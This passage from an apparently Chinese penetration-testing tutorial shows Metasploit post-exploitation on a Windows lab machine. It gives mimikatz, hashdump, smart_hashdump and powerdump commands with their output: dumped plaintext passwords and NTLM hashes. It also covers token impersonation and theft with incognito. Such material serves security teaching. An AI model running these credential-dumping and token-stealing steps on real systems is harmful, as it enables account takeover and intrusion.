</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Retrieving wdigest credentials
</span></span><span class="line"><span class="ln">15</span><span class="cl">wdigest <span class="nv">credentials</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="o">===================</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl">AuthID    Package    Domain        User           Password
</span></span><span class="line"><span class="ln">19</span><span class="cl">------    -------    ------        ----           --------
</span></span><span class="line"><span class="ln">20</span><span class="cl">0<span class="p">;</span><span class="m">997</span>     Negotiate  NT AUTHORITY  LOCAL SERVICE  
</span></span><span class="line"><span class="ln">21</span><span class="cl">0<span class="p">;</span><span class="m">996</span>     Negotiate  WORKGROUP     SAUCERMAN$     
</span></span><span class="line"><span class="ln">22</span><span class="cl">0<span class="p">;</span><span class="m">48748</span>   NTLM                                    
</span></span><span class="line"><span class="ln">23</span><span class="cl">0<span class="p">;</span><span class="m">999</span>     NTLM       WORKGROUP     SAUCERMAN$     
</span></span><span class="line"><span class="ln">24</span><span class="cl">0<span class="p">;</span><span class="m">476238</span>  NTLM       SAUCERMAN     TideSec        <span class="m">123456</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">0<span class="p">;</span><span class="m">476209</span>  NTLM       SAUCERMAN     TideSec        <span class="m">123456</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">
</span></span><span class="line"><span class="ln">27</span><span class="cl">meterpreter &gt; mimikatz_command -f samdump::hashes
</span></span><span class="line"><span class="ln">28</span><span class="cl">Ordinateur : saucerman
</span></span><span class="line"><span class="ln">29</span><span class="cl">BootKey    : 691cff33caf49e933be97fcee370256a
</span></span><span class="line"><span class="ln">30</span><span class="cl">RegOpenKeyEx SAM : <span class="o">(</span>0x00000005<span class="o">)</span> �ݿ� 
</span></span><span class="line"><span class="ln">31</span><span class="cl">Erreur lors de l<span class="err">&#39;</span>exploration du registre
</span></span><span class="line"><span class="ln">32</span><span class="cl">meterpreter &gt; mimikatz_command -f sekurlsa::searchPasswords
</span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="o">[</span>0<span class="o">]</span> <span class="o">{</span> TideSec <span class="p">;</span> SAUCERMAN <span class="p">;</span> <span class="m">123456</span> <span class="o">}</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="o">[</span>1<span class="o">]</span> <span class="o">{</span> TideSec <span class="p">;</span> SAUCERMAN <span class="p">;</span> <span class="m">123456</span> <span class="o">}</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="o">[</span>2<span class="o">]</span> <span class="o">{</span> SAUCERMAN <span class="p">;</span> TideSec <span class="p">;</span> <span class="m">123456</span> <span class="o">}</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="o">[</span>3<span class="o">]</span> <span class="o">{</span> SAUCERMAN <span class="p">;</span> TideSec <span class="p">;</span> <span class="m">123456</span> <span class="o">}</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl"><span class="o">[</span>4<span class="o">]</span> <span class="o">{</span> TideSec <span class="p">;</span> SAUCERMAN <span class="p">;</span> <span class="m">123456</span> <span class="o">}</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl"><span class="o">[</span>5<span class="o">]</span> <span class="o">{</span> TideSec <span class="p">;</span> SAUCERMAN <span class="p">;</span> <span class="m">123456</span> <span class="o">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<ol>
<li>使用meterpreter的run hashdump命令</li>
</ol>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">meterpreter &gt; run hashdump
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="o">[</span>!<span class="o">]</span> Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump.
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="o">[</span>!<span class="o">]</span> Example: run post/windows/gather/smart_hashdump <span class="nv">OPTION</span><span class="o">=</span>value <span class="o">[</span>...<span class="o">]</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Obtaining the boot key...
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Calculating the hboot key using SYSKEY 691cff33caf49e933be97fcee370256a...
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">/opt/metasploit-framework/embedded/framework/lib/rex/script/base.rb:134: warning: constant OpenSSL::Cipher::Cipher is deprecated
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Obtaining the user list and keys...
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Decrypting user keys...
</span></span><span class="line"><span class="ln">10</span><span class="cl">/opt/metasploit-framework/embedded/framework/lib/rex/script/base.rb:268: warning: constant OpenSSL::Cipher::Cipher is deprecated
</span></span><span class="line"><span class="ln">11</span><span class="cl">/opt/metasploit-framework/embedded/framework/lib/rex/script/base.rb:272: warning: constant OpenSSL::Cipher::Cipher is deprecated
</span></span><span class="line"><span class="ln">12</span><span class="cl">/opt/metasploit-framework/embedded/framework/lib/rex/script/base.rb:279: warning: constant OpenSSL::Cipher::Cipher is deprecated
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Dumping password hints...
</span></span><span class="line"><span class="ln">14</span><span class="cl">
</span></span><span class="line"><span class="ln">15</span><span class="cl">TideSec:<span class="s2">&#34;123456&#34;</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Dumping password hashes...
</span></span><span class="line"><span class="ln">18</span><span class="cl">
</span></span><span class="line"><span class="ln">19</span><span class="cl">
</span></span><span class="line"><span class="ln">20</span><span class="cl">Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
</span></span><span class="line"><span class="ln">21</span><span class="cl">Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
</span></span><span class="line"><span class="ln">22</span><span class="cl">TideSec:1000:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>3.post/windows/gather/smart_hashdump</p>
<p>从上面也可以看出官方推荐<code>post/windows/gather/smart_hashdump</code></p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">meterpreter &gt; run post/windows/gather/smart_hashdump
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Running module against SAUCERMAN
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Hashes will be saved to the database <span class="k">if</span> one is connected.
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> Hashes will be saved in loot in JtR password file format to:
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> /home/ubuntu/.msf4/loot/20190612084715_default_192.168.81.154_windows.hashes_439550.txt
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Dumping password hashes...
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Running as SYSTEM extracting hashes from registry
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="o">[</span>*<span class="o">]</span>     Obtaining the boot key...
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="o">[</span>*<span class="o">]</span>     Calculating the hboot key using SYSKEY 691cff33caf49e933be97fcee370256a...
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="o">[</span>*<span class="o">]</span>     Obtaining the user list and keys...
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="o">[</span>*<span class="o">]</span>     Decrypting user keys...
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="o">[</span>*<span class="o">]</span>     Dumping password hints...
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="o">[</span>+<span class="o">]</span>     TideSec:<span class="s2">&#34;123456&#34;</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="o">[</span>*<span class="o">]</span>     Dumping password hashes...
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="o">[</span>+<span class="o">]</span>     Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="o">[</span>+<span class="o">]</span>     TideSec:1000:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>4.powerdump
同 hashdump，但失败了</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">meterpreter &gt; run powerdump
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> PowerDump v0.1 - PowerDump to extract Username and Password Hashes...
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Running PowerDump to extract Username and Password Hashes...
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Uploaded PowerDump as 69921.ps1 to %TEMP%...
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Setting ExecutionPolicy to Unrestricted...
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Dumping the SAM database through PowerShell...
</span></span><span class="line"><span class="ln">7</span><span class="cl">
</span></span><span class="line"><span class="ln">8</span><span class="cl"><span class="o">[</span>-<span class="o">]</span> Could not execute powerdump: Rex::Post::Meterpreter::RequestError core_channel_open: Operation failed: The system cannot find the file specified.</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="47-假冒令牌">4.7 假冒令牌<a class="anchor" href="#47-假冒令牌">#</a></h3>
<p>在用户登录windows操作系统时，系统都会给用户分配一个令牌(Token)，当用户访问系统资源时都会使用这个令牌进行身份验证，功能类似于网站的session或者cookie。</p>
<p>msf提供了一个功能模块可以让我们假冒别人的令牌，实现身份切换，如果目标环境是域环境，刚好域管理员登录过我们已经有权限的终端，那么就可以假冒成域管理员的角色。</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="c1"># 1.incognito假冒令牌</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">use incognito      <span class="c1">#help incognito  查看帮助</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">list_tokens -u    <span class="c1">#查看可用的token</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">impersonate_token <span class="s1">&#39;NT AUTHORITY\SYSTEM&#39;</span>  <span class="c1">#假冒SYSTEM token</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">或者impersonate_token NT<span class="se">\ </span>AUTHORITY<span class="se">\\</span>SYSTEM <span class="c1">#不加单引号 需使用\\</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">execute -f cmd.exe -i –t    <span class="c1"># -t 使用假冒的token 执行</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">或者直接shell
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">rev2self   <span class="c1">#返回原始token</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="c1"># 2.steal_token窃取令牌</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">steal_token &lt;pid值&gt;   <span class="c1">#从指定进程中窃取token   先ps</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">drop_token  <span class="c1">#删除窃取的token</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
